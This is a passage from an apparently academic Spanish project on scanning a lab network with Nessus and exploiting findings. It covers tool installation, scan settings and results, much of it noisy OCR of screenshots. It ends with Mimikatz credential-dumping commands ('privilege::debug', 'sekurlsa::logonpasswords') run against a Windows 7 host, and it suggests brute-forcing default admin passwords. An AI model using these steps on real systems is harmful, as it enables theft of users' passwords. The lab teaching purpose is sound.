con acceso al equipo puede volver a activarla y hacer uso de Mimikatz para hacerse con todas las
contrasefias. [21]

Una vez explicado que es Mimikatz y como funciona vamos a explicar su instalacion.
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Este software es de cddigo abierto y puede descargarse del siguiente repositorio de GitHub:

https://github.com/gentilkiwi/mimikatz/releases

Una vez dentro descargamos el archivo ‘mimikatz_trunk.zip’

zsep?w 2.2.0 20220919 Djoin parser & Citrix SSO Extractor (we
© 2.2.0-20220919

2,2.9-20220919

[legacy] Backport djoin parser & citrix S5O password extractor

Compare ~

v Assets 4
P mimikatz_trunk.7z 880 KB 19 Sep 2022
@ mimikatz_trunk.zip 115 MB 19 Sep 2022
[ﬁ Source code (zip) 19 Sep 2022
[f)source code (tar.gz) 19 Sep 2022

L 1 15 **+ 2 19 people reacted

llustracion 76 — Descarga de Mimikatz

Cuando termine la descarga, extraemos el .zip.

Win32 19/09/2022 17:46 Carpeta de archivos

w04 19/09/2022 17:46 Carpeta de archivos
|| kiwi_passwords.yar 17/09/2020 3:04 Archivo YAR 3 KB
|| mimicom.idl 21,/03/2020 18:20 Archivo IDL 3KE
u mimikatz_trunk 26/10/2022 11:56 Archivo WinRAR £Z... 1178 KB
| | README.md 02/11/2020 0:13 Archivo MD & KB

llustracion 77 — Descompresion de ‘mimikatz_trunk.zip’

Mas adelante, cuando veamos las vulnerabilidades que tienen los equipos de Windows,
mostraremos el funcionamiento de Mimikatz en un ataque.

La segunda aplicacién que utilizaremos en la parte de explotacién de vulnerabilidades es
Metasploit.

Fue creada en 2003 por H.D Moore como una herramienta de red. En 2009 fue adquirida por
Rapid7, una empresa de seguridad dedicada a la gestion de vulnerabilidades, la cual incorporo
gran variedad de funcionalidades nuevas a Metasploit. Con el paso de los afios, se fueron
actualizando funcionalidades e incluyendo herramientas de fuzzing, para la deteccion de
vulnerabilidades en softwares.

A dia de hoy, Metasploit se ha convertido en una de las herramientas mas potentes de pentesting
y para el desarrollo de firmas para sistemas de deteccion de intrusos.

Metasploit cuenta con mas de mil exploit diferentes que te permiten escanear y recopilar
informacién sobre un sistema y sobre las vulnerabilidades de este, para mas tarde, explotarlas.
Permite instalar y backdoors y hacer ‘Fuzzing’ buscando fallos en sistemas para poder hacerte
con el control de este. Tambien cuenta con diferentes mdédulos como el de explotacién, cddigos
maliciosos (Payloads) para la postexplotaciéon y por ultimo el de codificadores, que te permite
encriptar cualquier tipo de malware para conseguir evadir los sistemas de deteccion y ocultar
rastros como la huella digital, logs y ficheros maliciosos. [22]
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https://github.com/gentilkiwi/mimikatz/releases

Una vez explicado que es Metasploit y de todo lo que es capaz, vamos a explicar su instalacion.

Con la instalacidn que hemos hecho anteriormente del equipo de Kali Linux, deberia de venirnos
por defecto instalado Metasploit, de no ser asi, procedemos a instalarlo de la siguiente manera.

Primero, lanzamos el siguiente cddigo para descargar el paquete de Metasploit y lo guardamos
como ‘msfinstall’.

root@kali: |

File Actions Edit View Help

llustracion 78 — Descarga del instalador de Metasploit
Una vez haya terminado la descarga, le damos unos permisos de lectura, escritura y ejecucion
755 y comprobamos que se hayan cambiado.

/

755 msfinstall

llustracién 79 — Cambio de permisos

1 root
llustracion 80 — Visualizacion de permisos.

Ejecutamos el archivo y esperamos a que se instale Metasploit.

ework to your repository list..Warning: apt-key

ige cache..OK
and installing update..
Done
Building ency t .. Done
Reading state information ... Done

llustracion 81 — Instalacion de Metasploit

Una vez termine la instalacion lo ejecutamos y esperamos a que se abra.
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auxiliary - 404 post
ers - 11 nops

, be sure to

llustracion 82 — Ejecucidn de Metasploit

Una vez instalado Nessus, Mimikatz y Metasploit ya tendriamos todas las herramientas listas
para comenzar con la deteccion de vulnerabilidades y su explotacion. [23]

6. Descripcion experimental

En este apartado explicaremos toda la parte practica del proyecto. Las acciones que llevaremos a

cabo son la deteccion de los diferentes hosts de una red, continuaremos con la busqueda
vulnerabilidades de cada host y una vez encontradas todas las vulnerabilidades explotarem
algunas de ellas con Metasploit y Mimikatz. Para finalizar, haremos el parcheo de los equipos.

de
0S
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6.1 Escaneo de la red — Deteccion de host.

Comenzaremos entrando en Nessus, para ello abrimos Google Chrome y escribimos la siguiente
URL (https://localhost:8834). Una vez dentro crearemos un nuevo escaneo para detectar los
equipos que tenemos conectados a nuestra red. Para ello, pulsamos donde dice ‘New Scan’.

llustracion 83 — Creacidn de escaneo — Host discovery

Una vez llegamos a la pantalla donde estan todos los escaneos, seleccionamos el tipo de escaneo
‘Host Discovery’.

s®o0

.............

llustracion 84 — Seleccion de escaneo — Host discovery

Dentro del tipo de escaneo nos pedira que rellenemos una serie de campos. Le daremos un nombre
y una descripcién al escaneo y pondremos la IP de la red a escanear. Como queremos que nos
escane la red entera ponemos la IP con terminacion /24 y de esta forma indicamos que de los 32
bits que constituyen la direccion, 24 pertenecen a la red. Esto significa que la red es
192.168.1.0/24.
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https://localhost:8834/

New Scan / Host Discovery

€ Back to Scan Templates
Settings Plugins
BASIC
General FEIE
Schedule -
Description
Notifications
DISCOVERY
REPORT Folder
ADVANCED
Targets

Upload Targets

Emg -

Escaneo completo de la red

Escaneo completo de la red para detectar los
equipos que la componen

My Scans -

192.168.1.0/24

Add File

llustracion 85 — Configuracion general — Host Discovery

La siguiente seccion por rellenar es la de notificaciones. En esta seccion introduciremos el email
donde se nos enviaran los resultados de los escaneos. Esto no es obligatorio, los resultados

podremos verlos igualmente desde Nessus.

New Scan / Host Discovery

=

Back to Scan Templates
Settings Plugins

BASIC

Email Recipient(s)

Genera : pient(s)
Schedule
Notifications

DISCOVERY

REPORT -

Result Filters
ADVANCED

Emg -

sergio.llorens@edu.uah.es

Add Filter

llustracion 86 — Introduccion de correo — Host discovery

Una vez rellenado los campos anteriores en la seccion ‘Basic’ pasaremos a la seccion ‘Discovery’
donde seleccionaremos el tipo de escaneo que queremos que se haga. En este caso, queremos una

deteccion de host basica por lo que seleccionaremos la opcion ‘Host enumeration’.
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New Sca

< Bacl

Settings

BASIC
DISCOVERY
REPORT

ADVANCED

Emn -

n / Host Discovery

St
lugins

Scan Type Host enumeration -

Host enumeration

0S Identification
Port scan (common ports)
Port scan (all ports)

Custom

TCP
ARP
ICMP (2 retries)

Ilustracion 87 — Tipo de escaneo: Host enumeration — Host discovery

En la siguiente seccion ‘Report’, dejaremos los parametros por defecto que trae Nessus para este
escaneo. Estos pardmetros permiten que cualquier usuario de Nessus modifique los resultados del

escaneo y que se

muestren todos los dispositivos que respondan al ping.

New Scan /

Settings

BASIC
DISCOVERY
REPORT

ADVANCED

Host Discovery

Plugins
Output
+| Allow users to edit scan results
Designate hosts by their DNS name
+| Display hosts that respend to ping
Display unreachable hosts

Display Unicode characters

Cancel

llustracion 88 — Parametros de configuracion — Host discovery

Por ultimo, en la seccion ‘Advanced’ seleccionaremos el tiempo que esperara Nessus a que un
host responda al ping, el nimero maximo de comprobaciones que se haran por host para verificar

la informacion y

el nimero maximo de hosts simultdneos por escaneo.
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New Scan / Host Discovery
< Back to Scan Templates
Settings Plugins
BASIC
Performance Options
DISCOVERY
Slow down the scan when network congestion is detected
REPORT
ADVANCED v Network timeout (in seconds) 5
Max simultaneous checks per host
Max simultaneous hosts per scan 256
Max number of concurrent TCP sessions per host
Max number of concurrent TCP sessions per scan
Unix find command Options
Exclude Filepath Add File
Exclude Filesystem Add File
Include Filepath Add File
=g -

llustracion 89 — Parametros de configuracion avanzados — Host discovery

Una vez configurados todos los parametros de la configuracion del escaneo le daremos a ‘save’ y
pasaremos a ejecutarlo. Para ello, iremos al apartado de ‘My Scan’ y le daremos al boton de play.

(|
llustracion 90 — Ejecucidn del escaneo — Host discovery
Una vez le demos al play, podremos ver como inicia la ejecucion.

Escaneo campleto de |a red On Demand Today at 5:56 P

llustracién 91 — Progreso del escaneo — Host discovery

Una vez ha finalizado el escaneo podemaos entrar en el para ver toda la informacion recabada. En
la pestafia ‘Hosts’ en la parte derecha podemos ver informacion como el estado del escaneo, la
fecha de inicio del escaneo, la fecha de finalizacién y la duracion de este. En la parte abajo derecha
podemos encontrar el circulo de vulnerabilidades donde nos indica el porcentaje de cada tipo de
vulnerabilidad, en este caso, solo muestra informativas ya que este tipo de escaneo solo lanza
pings. En la parte izquierda podemos ver todas las IPs de los equipos que ha detectado en nuestra
red incluido los puertos abiertos que tiene cada uno.
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Vulnerabilises

llustracion 92 — Resultados del escaneo — Host discovery

La siguiente pestafia ‘Vulnerabilities’ podemos ver un resumen general de todas las
vulnerabilidades encontradas. Pero por el tipo de escaneo solo mostrara dos vulnerabilidades
encontradas, meramente informativas.

£

un]

Hosts 17

Filter =

Sev -

INFO

INFO

ack To Wy >Cans

Escaneo completo de la red

Vulnerabilities 2 VPR Top Threats History 1

Score *  Name »

Messus Scan Information

Ping the remote host

llustracion 93 — Pestarfia vulnerabilidades — Host discovery

Si entramos en la primera vulnerabilidad informativa podemos ver la siguiente informacion.
Podemos ver la IP del equipo al que se refiere la informacion y todos los parametros de la
configuracion que ha tenido el escaneo lanzado.
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Output

Information about this scan :

Nessus version :

Nessus build

202210191354

Nessus Hom

Scanner

Scanner d win-x86-64

Scan type : N

Scan name : Escanec completo de la red

1 tests : no

_____ enabled : no
1:1
Report verbosity : 1
Safe checks : yes
imize the test : yes

lication tests : disabled

: 256
5

llustracién 94 — Informacion del escaneo — Host discovery

En la segunda vulnerabilidad informativa podemos ver una descripcion sobre los tipos de ping
gue se han lanzado para detectar los equipos y los que han reaccionado a este. Tambien podemos
ver informacion relevante como la direccion del hardware del equipo y si este esta encendido o

no.
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Escaneo completo de la red / Plugin #10180

<

Back to Vulnerabilities
Hosts | 17 Vulnerabilities 2 VPR Top Threats History 1

INFO Ping the remote host

Description

Nessus was able to determine if the remote host is alive using one or more of the following ping types :
- An ARP ping, provided the host is on the local subnet and Nessus is running over Ethernet.

- An ICMP ping.

- ATCP ping, in which the plugin sends to the remote host a packet with the flag SYN, and the host will reply with a RST or a SYN/ACK.

- A UDP ping (e.g., DNS, RPC, and NTP).

Output

Port - Hosts

Port . Hosts

192.168.1.36

llustracion 95 — Informacidn referente a los pings y a los equipos — Host discovery

En la siguiente pestafia ‘“VPR Top Threats’ podemos ver el ‘vulnerability priority rating’, indice
de prioridad de las vulnerabilidades. En este caso, no hay ninguna.

ack 1o My >Cans

<

Escaneo completo de la red

Hosts 17 Vulnerabilities 2 VPR Top Threats History 1

Assessed Threat Level: None

No vulnerabilities have been found as prioritized by Tenable's patented Vulnerability Priority
Rating (VPR) system.
To learn more about Tenable's VPR scoring system, see Predictive Prioritization.

llustracion 96 — VPR — Host discovery

Por ultimo, iremos al correo para ver la informacion que nos ha enviado automaticamente Nessus.
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( )nessus

Nessus Scan Report

Nessus completed

N

Plugins: Top 5

19506
1018
Hosts: Top 5

Host Critical

“ Responder > Reenviar

an Escaneo completo de la red. Please c

>ommercial use of the report is prohibited
Any time Ness: s used in a commercial environment you MUST maintain an active subscription to the Nessus Feed in order to be
compliant with our license agreement http://www.tenable.com/products/nessus

Severity Plugin Id Name

ew and edit the scan results

Medium Low Info

llustracion 97 — Resultado por correo — Host discovery

Después de haber lanzado el escaneo ‘Host discovery’ con el tipo de escaneo ‘Host enumeration’,
tenemos que volver a lanzarlo cambiandole el tipo a ‘OS identification’ para detectar que IPs

detectadas son de ordenadores.

Repetimos los mismos pasos, pero cambiando ciertos pardmetros. Creamos un nuevo escaneo de
tipo ‘Host Discovery’ y le damos un nuevo nombre y la IP de la red.

New Scan / Host Discovery

« Back to Scan Templates
Settings Plugins
BASIC
General Name
Schedule i
Description
Motifications
DISCOVERY
REPORT Folder
ADVANCED
Targets

Upload Targets

=g -

Escaneo completo de la red

Escaneo completo para detectar el SO de
cada equipo.

My Scans

192.168.1.0/24

0

Add File

llustracion 98 — Configuracion general — Host Discovery 2

Ahora, en la seccion ‘Discovery’ introducimos el tipo ‘OS identification’ para que Nessus busque

que IPs de las detectadas son ordenadores.
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<

o

aC

Settings

BASIC
DISCOVERY
REPORT

ADVANCED

New Scan / Host Discovery

Plugins

Scan Type OS Identification a
Host enumeration

OS Identification

Port scan (commaon ports)
Port scan (all ports)

Custom

TCP
ARP
ICMP

Cancel

llustracion 99 — Tipo de escaneo: OS identification — Host Discovery 2

El resto de configuracién la dejamos exactamente igual que la del escaneo anterior. Una vez
hemos configurado todo el escaneo, lo ejecutamos.

Ilustracion 100 — Ejecucion del escaneo — Host Discovery 2

Una vez el escaneo haya terminado de ejecutarse, entramos para ver los resultados. Ahora
podemos ver que aparte de detectar las IPs conectadas en nuestra red y los puertos abiertos que
tiene cada sistema, podemos ver su sistema operativo, sabiendo asi, cuales son ordenadores.

llustracion 101 — Resultados del escaneo — Host Discovery 2
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Ahora en la pestafia ‘Vulnerabilities’ podemos ver una nueva, ‘OS’ identification.

Escaneo completo de la red
< Back to My Scans
Hosts 12 Vulnerabilities 3 VPR Top Threats History 1
Filter -
Sev - Score *  MName .
INFO Messus Scan Information
INFO Ping the remote host
INFO 05 Identification

llustracion 102 — Vulnerabilidad — OS identification — Host Discovery 2

Dentro de esta nueva vulnerabilidad podemos ver bastante informacion referente al sistema
operativo instalado en cada equipo y su IP. Ademas, nos da una breve explicacion de que métodos
ha usado Nessus para determinar qué sistema operativo es.

INFO 0OS Identification
Description

Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in
use. Itis also possible sometimes to guess the version of the operating system.

Output

sus.org. Be
such as the

these operating systems :

[N

Port - Hosts

192.168.1.91

lustracién 103 — informacidn sobre Windows XP — Host Discovery 2
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A parte del sistema operativo y su version en los casos de Windows, tambien podemos ver mas
informacién como la version del kernel instalado en los equipos Ubuntu o el método de acceso al
equipo.

Con esto, ya habriamos detectado que tenemos un equipo con Windows XP, otro con Windows,
otro con Ubuntu 16.04 y, por altimo, otro con Windows 7.

Port - Hosts

[Te]
ra
[=)]
oo
[Xe

(L%

em : Linux Kernel 4.4 on Ubuntu 16.04 (xenial)

note host is running Linux Rernel 4.4 on Ubuntu 16.04 (xenial)

Remote operating sy

match. If you think some or all of
identify the host's cperating system,
nessus.org. Be sure to include a

such as the actual operating

Windews 7 Professional

llustracion 104 — Informacion sobre Windows, Ubuntu 16.04 y Windows 7 Professional — Host Discovery 2

52



En la siguiente pestafia “VPR Top Threats’ veriamos lo mismo que en el escaneo anterior, ya que

este tipo de escaneo no recoge ningun tipo de vulnerabilidad mas alla de las informativas.

6.2 Escaneo de la red — Busqueda de vulnerabilidades.

Una vez detectadas las 4 IPs que corresponden a ordenadores, vamos a lanzar un segundo escaneo
‘Advanced Scan’ para hacer toda la deteccion de vulnerabilidades de cada uno de esos 4 equipos.

Igual gue con el escaneo anterior, le damos a crear un nuevo escaneo y ahora seleccionamos

‘Advanced Scan’.

Scan Templates

ack 10 »Cans

[sx)

Scanner

Host Discovery

Basic Network Scan

£

&

Advanced Scan

llustracion 105 — Advanced Scan

Introducimos un nombre al escaneo y las 4 IPs de los equipos detectados en el escaner anterior.

New Scan / Advanced Scan
< Back to 5can Templates
Settings Credentials Plugins
BASIC
General Name
Schedule
Description
Notifications
DISCOVERY
ASSESSMENT Folder
REPORT
Targets
ADVANCED
Upload Targets
Emg -

Escaneo avanzado de red

Escaneo avanzado para buscar las
vulnerabilidades en los equipos
encontrados en el escaneo basico

My Scans

192.168.1.87, 192.168.1.89, 192.168.1.91, 192.168.1.92

Add File

llustracion 106 — Configuracion general - Advanced Scan
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En este tipo de escaneo se pueden configurar mas pardmetros. En la seccion de ‘Host Discovery’
modificaremos todos los pardmetros referentes al tipo de ping que queremos que use en el
escaneo. Ademas, podemos decirle si queremos que detecte ciertos sistemas conectados a la red
aparte de pasarle un archivo con una lista de MAC las cuales se tienen que cumplir en la bdsqueda.

BASIC
Remote Host Ping
DISCOVERY

General Settings
7 Test

ASSESSMENT
REPORT

ADVANCED

Ping Methods.

vl AR

v Tcp

Fragile Devices

llustracion 107 — Host Discovery - Advanced Scan

En la siguiente seccion ‘Port Scanning’ configuraremos todos los parametros referentes a la
deteccidn de puertos.

llustracion 108 — Port Scanning - Advanced Scan

En la seccion ‘Service Discovery’ activaremos varias opciones para que el escaner de Nessus
intente detectar cada puerto abierto con el servicio que se estd ejecutando en él. Ademas,
indicaremos que tipo de tecnologia queremos que use para la busqueda de puertos.
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€ Backto

Settings Credentials

BASIC

DISCOVERY
Host Discovery
Port Scanning

Service Discovery

Identity
ASSESSMENT
REPORT

ADVANCED

.- [

New Scan / Advanced Scan

Plugins

‘General Settings

v| Probe all ports to find services

search for SSL/TLS/DTLS o

services
Search for SSUTLS on AllTCP ports -
Search for DTLS on None -

Identify certificates expiring within x days

| Enumerate all SSL/TLS ciphers

Enable CRL checking (connects to the Internet)

llustracién 109 — Service Discovery - Advanced Scan

La siguiente seccion es la de ‘Identity’. Esta seccion no la activaremos ya que es para redes que
tengan montado un active directory. En la siguiente seccion ‘Assesment’ podemos configurar
ciertos parametros para realizar un tipo de escaneo mas preciso, por lo que no lo activaremos.
Tambien podemaos configurar el retraso de la verificacion del software antivirus y, por Gltimo, la
parte SMTP para probar él envié de spam.

New Scan / Advance

< Back to Scan Tel
settings Credentials

BASIC
DISCOVERY

ASSESSMENT

General

Brute Force

Databases

REPORT

ADVANCED

e | - P

d Scan

Plugins

Accuracy

Override normal accuracy

Perform thorough tests (may disrupt your network or impact scan speed)

Antivirus

Antivirus definition grace period (in days): | 0 *

SMTP

Third party domain example.com

From address nobody@example.com

To address postmaster@[AUTO_REPLACED_IP]

llustracion 110 — Assessment - Advanced Scan

En la siguiente seccion ‘Brute Force’, marcaremos la opcion para indicarle al escaneo que le

proporcionaremos nosotros la contrasefia del equipo y que no intente romperla.
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Settings Credentials Plugins

BASIC
General Settings
DISCOVERY
+ | Only use credentials provided by the user
ASSESSMENT
General

Brute Force

Oracle Database
Web Applications

Windows Test default accounts (slow)
Malware
Databases

REPORT

ADVANCED

Emg -

llustracion 111 — Brute force - Advanced Scan

La siguiente seccion ‘Web Applications’ no la activaremos ya que no tenemos ninguna aplicacion
web a escanear. En la seccion “Windows’ solo activaremos las distintas formas de enumeracion
de hosts que trae Nessus, el resto las dejaremos desmarcadas ya que son opciones para consultar
a usuarios del dominio en vez de a usuarios locales y para enumerar a los usuarios a través de
fuerza bruta mediante el identificador RID.

New Scan / Advanced Scan
< Back to Scan Templates
Settings Credentials Plugins
BASIC
General Settings
DISCOVERY
Request information about the SMB Domain
ASSESSMENT
Genera
Brute Force User Enumeration Methods
Web Applications ¥ SAM Registry
Windows
v ADSI Query
Malware
Databases ¥ WMI Query
REPORT
RID Brute Forcing
ADVANCED
=g -

llustracion 112 — Windows - Advanced Scan

La seccion ‘Malware’ es para indicar que nos busque ciertos virus concretos que puedan estar en
archivos cifrados en el equipo mediante diferentes tecnologias de cifrado como
MD5/SHAL/SHA256, en este caso, lo dejaremos deshabilitado.
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La seccion ‘Databases’ es para decirle al escaner de Nessus que intente logearse con un usuario
y contrasefia pasados al escaner en una base de datos conocida en la red. Esta parte la dejaremos
deshabilitada.

En la seccion de ‘Report’ activaremos las opciones que nos permitiran mostrar los parches que
han sido remplazados y ocultaremos los resultados de los plugins iniciados como dependencias.
Tambien dejaremos marcada la opcion por defecto de que cualquier usuario con acceso a Nessus
pueda editar el resultado del escaneo.

Settings Credentials Plug

ns

BASIC
Processing
DISCOVERY
Override normal verbosity
ASSESSMENT

REPORT

ADVANCED

+| Show missing patches that have been superseded

| Hide results from plugins initiated as a dependency

Output

+| Allow users to edit scan results
Designate hosts by their DNS name
Display hosts that respond to ping
Display unreachable hosts

Display Unicode characters

m- cancel

llustracion 113 — Report - Advanced Scan

En la seccion ‘Advanced’ afinaremos un poco mas el escaneo activando la opcion de escaneres
seguros y de creacidn de un identificador Unico por cada host usando sus credenciales de acceso.
Tambien indicaremos, como en el escaner basico, el tiempo de espera de red, los escaneos por
host y el n® maximo de escaneos simultaneaos por host. El resto de la seccion es para adjuntar
archivos con rutas Unix y excluirlas del escaneo. En la ultima parte de la seccién podemos editar
la informacion que queremos que salga en el log.
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BASIC ]
General Settings

DISCOVERY
| Enable safe checks
ASSESSMENT
REPORT Stop scanning hosts that become unresponsive during the scan
ADVANCED

Scan IP addresses in a random order

Automatically accept detected S5H disclaimer prompts

Scan targets with multiple domain names in parallel
«| Create unique identifier on hosts scanned using credentials

Trusted CAs

Performance Options

Slow down the scan when network congestion is detected

MNetwork timeout (in seconds) 5
Max simultaneous checks per host 5
Max simultaneous hosts per scan 5

Max number of concurrent TCP sessions per host

Max number of concurrent TCP se:

Unix find command Options

Exclude Filepath Add File
Exclude Filesystem Add File
ndude Filepath Add File

Debug Settings

Log scan details

Enable plugin debugging

Debug Log Level

el Level 1: Basic Debugging -
EL08 e2ls

Enumerate launched plugins

Audit Trail Verbosity Defauit -

ndude the KB Default -

Compliance Output Settings

Maximum Compliance Output Length in KB

llustracion 114 — Advanced - Advanced Scan

Ahora pasaremos a la pestafia de ‘Credentials’ donde daremos el usuario y contrasefia de cada
equipo. De esta manera haremos un escaneo mas profundo ya que el escéner se loggeara con el
usuario admin de cada equipo.

Para esta prueba, hemos creado el mismo usuario administrador y su contrasefia en todos los
equipos, pero si tuviésemos usuarios disintos podriamos meter tantos como quisiésemos. Por
ejemplo, si no supiésemos que usuario y contrasefia tienen los equipos, podemos hacer nuestro
propio ataque de fuerza bruta insertando un listado de los nombres méas comunes y sus contrasefias
como, por ejemplo: admin-admin, admin-pass, admin-password, etc.
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llustracion 115 — Credential Windows - Advanced Scan

Credentials

llustraciéon 116 — Credential Linux - Advanced Scan

Por ultimo, en la pestafia ‘Plugins’ incluiremos todos en el escaneo para que analice todos los
parametros posibles en cada uno de los equipos.

llustracion 117 — Plugins - Advanced Scan

59



Una vez terminado de configurar todos los pardmetros de cada una de las secciones del tipo de
escaneo ‘Advanced Scan’, lo ejecutaremos dando al play.

llustracion 118 — Ejecucion de escaneo - Advanced Scan

Este tipo de escaneo tiene un tiempo de ejecucion bastante largo. En nuestro caso tenemos cuatro
equipos a escanear y tarda una media de unos 15 minutos en finalizar, por lo que toca esperar. Es
conveniente que mientras se realiza el escaneo, no saturemos la red con otros dispositivos ya que
puede llenarse la red de ‘paquetes basura’ y mostrar falsos positivos.

llustracién 119 — Progreso del escaneo - Advanced Scan

Una vez el escaner ha terminado, lo primero que podemos ver son unas franjas horizontales con
el nimero de vulnerabilidades que hay de cada tipo en cada uno de los equipos, viendo la IP del
equipo en la parte izquierda.

En la parte derecha podemos ver los detalles del escaneo como el tipo de escaner lanzado, el
estado de este ya que podemos observar la ejecucion de este mientras se escanean los diferentes
equipos, el CVSS (Common Vulnerability Score System) que sirve para ver la puntuaciéon y
estimar el impacto de las vulnerabilidades, el es escaner, la fecha y hora del inicio de la ejecucion
del escéner, la fecha y hora de la finalizacion de la ejecucion del escaner y la duracién de este.

Debajo de toda esta informacién podemos ver el circulo de las vulnerabilidades. En este circulo
podemos ver los diferentes tipos de criticidad de las vulnerabilidades. Estas son, de menor a mayor
(Informativa, baja, media, alta y critica). Por ultimo, tambien podemos ver el porcentaje existente
de cada tipo de criticidad en el escaneo lanzado.

Scan Details

llustracion 120 - Visualizacion de resultados - Advanced Scan
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En la pestaiia de ‘Vulnerabilities’ podemos encontrar un resumen unido de todas las
vulnerabilidades ordenadas de mas criticas a menos de todos los equipos que hemos escaneado.
Si entramos en cada una de las vulnerabilidades podemos encontrar toda la informacion sobre
esta y como solucionarla.

llustracion 121 - Pestafia Vulnerabilities - Advanced Scan

En la siguiente pestafia ‘Remediations’ podemos encontrar todas las acciones que debemos de
hacer para solucionar las vulnerabilidades en cada uno de los equipos. Esta pestafia es de gran
importancia ya que te evita tener que remediar una a una cada vulnerabilidad, sino que te indica
las acciones justas a llevar a cabo para eliminar todas las vulnerabilidades existentes en cada uno
de los equipos.

llustracion 122 — Pestafia Remediations - Advanced Scan
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En la pestafia ‘“VPR Top Threats’ podemos ver la clasificacion de vulnerabilidades segun el
sistema patentado de ‘clasificacion de prioridad de vulnerabilidades’ (VPR) de Tenable. En esta
pestafia podemos ver las diez vulnerabilidades principales que hay en nuestro sistema, las cuales,
hay que priorizar. Dentro de cada una de ellas se nos muestra una guia para ayudar a la remedicion
y reducir eficazmente el riesgo en nuestros sistemas.

VPR Top Threats

Loval:Critical

llustracion 123 — Pestafia VPR - Advanced Scan

Por ultimo, en el correo podemos ver una informacion resumida del resultado del escaneo. En el
podemos ver el nimero de vulnerabilidades de cada tipo y el total de vulnerabilidades por equipo.
Tambien, podemos ver un listado de las remediaciones que hay que llevar a cabo para eliminar
una gran parte de las vulnerabilidades.

( Inessus

Nessus Scan Report

Nessus completed the scan Escaneo avanzado de red. Please click here to view and edit the scan results.

Nessus Essentials: Commercial use of the report is prohibited
Any time Nessus is used in a commercial environment you MUST maintain an active subscription to the Nessus Feed in order to be compliant with our license

Report Summary

Plugins: Top 5

Severity Plugin Id Name

Microsoft Intemet Explorer Unsupported Version Detection

MS10-012 Vuinerabilities in SMB Could Allow Remote Code Execution (971458)

MS10-054: Vulnerabiliies in SMB Server Could Allow Remote Code Execution (362214)

MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) (EMERALDTHREAD)

MS11-020: Winerability i SME Server Could Allow Remote Code Execution (2508429)

Hosts: Top5

Host Critical High Medium Low Info Total
192.168.1.01 e 243 4 1 7 493

192.168.1.92 72 141 16 0 201 430

192.168.1.89 £ 106 k) 1 63 244

192.168.1.87 16 143 3 0 162 352

Suggested Remediations (TOP 10)

Taking the following actions across 4 hosts would resolve 47% of the vulnerabilities on the network:

Action to take Vulns Hosts
Mozilla Firefox < 106.0: Upgrade to Maozilla Firefox version 106.0 or later 185 1
Adobe Flash Player <= 32.0.0.433 (APSB20-58): Upgrade to Adobe Flash Player version 32.0.0.445 or later. 855 1
Ubuntu 16.04 LTS - GNU binutls vuinerability (USN-5349-1): Update the affected packages 150 1
Ubuntu 16.04 LTS/ 18.04 LTS : Linux kemel vuinerabilties (USN-5319-1): Update the affected packages. 7 1
Ubuntu 16.04 ESM - Vim vuinerability (USN-5533-1): Update the affected packages 44 1
Install KB2676562 32 H
Ubuntu 14.04 LTS/ 16.04 LTS / 18.04 LTS : Linux kemel vuinerabilities (USN-5418-1): Update the aflected packages. 23 1
Ubuntu 16.04 ESM - Linux kernel vulnerabilties (USN-5669-2): Update the affected kemel package. ) 1
Ubuntu 16.04 ESM / 18.04 LTS : Linux kemel vulnerabilities (USN-5621-1): Update the afiected kernel package. 21 1
Ubuntu 16.04 ESM - ncurses vulnerabilities (USN-5477-1): Update the affected packages 17 1

llustracién 124 — correo - Advanced Scan

62



6.3 Analisis y explotacion de las vulnerabilidades.

En este apartado analizaremos los resultados obtenidos anteriormente y explotaremos varias
vulnerabilidades para hacernos con las claves de acceso a los equipos o con el control de este.

6.3.1 Mimikatz.

Uno de los grandes problemas de Windows es tener habilitado WDigest para el almacenamiento
de contrasefias. WDigest conserva en todo momento una copia de la contrasefia en texto plano del
usuario dado de alta en el sistema. Es aqui donde aparece la vulnerabilidad en el sistema.

Después de realizar el escaneo en el equipo de Windows 7, encontramos dicha vulnerabilidad.
Dentro podemos encontrar informacion sobre esta vulnerabilidad y un enlace de la pagina de
Tenable con informacién sobre esta.

m 76% Ensure 'WDigest Authentication’ is set to 'Disabled windows

llustracion 125 — WDigest

https://www.tenable.com/audits/items/CIS MS Windows 7 v3.2.0 Level 1.audit:0e7bdc7f7a
00270d1ed61fc02134c88d

Una vez sabemos que este equipo tiene esta vulnerabilidad, procedemos a usar Mimikatz para
sacar las contrasefias de todos los usuarios creados en el equipo.

Una vez tenemos acceso al equipo, independientemente del tipo de usuario, ejecutamos el exploit
de Mimikatz para conseguir todas las contrasefias del equipo.

Mambre

%] mimidre.sys

m
mirmilib.dll
m

2]
) mimispocl.dll

llustracion 126 — mimikatz.exe

Una vez ejecutamos el .exe se nos abrirén la terminal del exploit.

©) mimikatz 220 64 (oe.c0) [F=][ =] =S

- B mimikatz 2.2.8 (x64> #19841 Sep 19 2822 17:44:88
it~ ##t. A La Uie. A L’Amour" - {oe.eo)
## ~ N ##f  wex Benjamin DELPY ‘gentilkiwi® ¢ benjaminPgentilkiwi.com >
#H ~ o Hi » https:/sblog.gentilkivi.com/mimikatz
THE v #R Uincent LE TOUH ¢ vincent.letouxBgmail.com >
* R > https://pingcastle.com ~ https:/s/mysmartlogon.com e/

m| s

mimikatz #

llustracion 127 — Terminal mimikatz
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Lanzamos el comando ‘privilege::debug’ para verificar los privilegios que tenemos en la terminal.
Al devolvernos ‘Privilege ‘20’ OK’ nos indica que tenemos absoluto control de la terminal y

podemos seguir con la secuencia de comandos.

2, mimikatz 2.2.0 364 (oe.e0) |- =[]

-G mimikatz 2.2.8 (x64> #19041 Sep 19 2822 17:44:088

i~ ##. A La Vie. A L’Amour" — {oe.eo
#H ~ ~ #ft === Benjamin DELPY “gentilkiwi® ¢ henjamin@gentilkiwi.com >

it~ o i > https://blog.gentilkiwi.com/mimikatz
THE v 0 Uincent LE TOUX ¢ vincent.letouxBgmail.com >

* jg > https:/spingcastle.com ~ https://mysmartlogon.com e

mimikatz ## privilege::debug
Privilege *28°' OK

mimikatz # _

llustracion 128 — comando privilege::debug

Lanzamos el comando ‘sekurlsa::logonpasswords’ para mostrar toda la informacion, incluida la
contrasefia, de todos los usuarios almacenada en memoria.

2y mimikatz 2.2.0 354 (oe.eo)

R iidie i mimikatz 2.2.8 (x64) #19841 Sep 19 2822 17:44:88

i #t. A La Uie. A L'Amour" — Coe.eo)
#t ~ ~ #f 20¢ Benjamin DELPY ‘“gentilkiwi® ¢ benjaminPgentilkiwi.com 2

fio SRR N 118 > https://blog.gentilkivi.con/mimikatz
